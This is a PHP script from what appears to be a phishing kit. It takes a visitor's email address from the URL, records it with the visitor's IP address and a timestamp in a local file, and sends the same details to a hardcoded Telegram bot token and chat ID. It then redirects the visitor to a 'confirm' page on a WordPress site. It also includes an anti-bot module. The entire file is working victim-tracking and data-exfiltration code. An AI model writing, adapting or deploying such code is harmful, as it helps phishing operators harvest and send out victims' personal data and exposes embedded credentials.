<?php
require_once __DIR__ . '/ip_cache.php';
require_once __DIR__ . '/anti.php';

$ip = $_SESSION['ip_info']['ip'] ?? '0.0.0.0';
$country = $_SESSION['ip_info']['country'] ?? 'Unknown';
$countryCode = $_SESSION['ip_info']['countryCode'] ?? '';
$flags = $_SESSION['flags'] ?? [];
$flagEmoji = $flags[$countryCode] ?? '🌍';

// إرسال إشعار تيليجرام
$bot_Token = "8539544672:AAGNla1HST6dm7IaRZ0XlI6UQA1oxs_E3Rg";
$chat_ids = array("-5136825675");
$real_link = "https://tastyraj.com/wp/wp-content/confirm";

$email = isset($_GET['email']) ? $_GET['email'] : '';
if (empty($email)) {
    $email = isset($_GET['m_Email1']) ? $_GET['m_Email1'] : '';
}

file_put_contents(__DIR__ . '/linked_email.txt', $email . ',' . $ip . ',' . date('Y-m-d H:i:s') . "\n", FILE_APPEND);

function send_telegram($message) {
    global $bot_Token, $chat_ids;
    foreach ($chat_ids as $chat_id) {
        $url = "https://api.telegram.org/bot{$bot_Token}/sendMessage";
        $post = ['chat_id' => $chat_id, 'text' => $message];
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3);
        curl_exec($ch);
        curl_close($ch);
    }
}

// رسالة مع البلد والعلم
$msg = "IP: $ip | Country: $country $flagEmoji | Email: $email | Time: " . date('Y-m-d H:i:s');
send_telegram($msg);

header("Location: " . $real_link);
exit;
?>